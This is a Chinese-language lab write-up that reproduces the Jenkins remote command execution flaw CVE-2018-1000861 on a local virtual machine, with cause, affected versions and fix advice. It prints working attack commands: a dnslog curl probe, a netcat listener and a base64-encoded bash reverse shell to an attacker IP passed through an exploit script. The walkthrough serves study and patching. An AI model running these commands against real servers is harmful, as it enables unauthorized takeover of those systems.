文章目录
漏洞描述(介绍、成因)
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
漏洞危害
- 获取服务器权限
- 获取敏感数据文件
- 写入恶意文件getshell
- 植入木马病毒勒索软件等
适用场景
- Jenkins主版本 <= 2.153
- Jenkins LTS版本 <= 2.138.3
实验环境
个人虚拟机
- 攻击机:
- Centos7 192.168.10.135
- 靶机:
- vulhub 192.168.10.128
漏洞复现过程
1、 开启docker环境
访问页面,http://192.168.10.128:8000/
2、通过dnslog检测漏洞是否存在
python exp.py http://192.168.10.128:8080 'curl mmjje4.dnslog.cn'
Dnslog存在回显,即存在漏洞
3、监听端口
nc -lvp 12333
4、利用exp获取反弹shell
1)通过base64加密命令
2)执行exp
python exp.py http://192.168.10.128:8080/ "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzNS8xMjMzMyAwPiYxIA==}|{base64,-d}|{bash,-i}"
3)成功反弹shell
修复建议
- 升级到最新版本或打上相关补丁;
- 尽量不要开放到公网上;
- 限制IP访问。
扩展知识(链接、文章)
漏洞EXP:https://github.com/orangetw/awesome-jenkins-rce-2019
参考链接:【漏洞复现】Jenkins远程命令执行漏洞(CVE-2018-1000861)
注:本文章仅作技术学习作用,一切实验皆在个人虚拟环境下进行!!!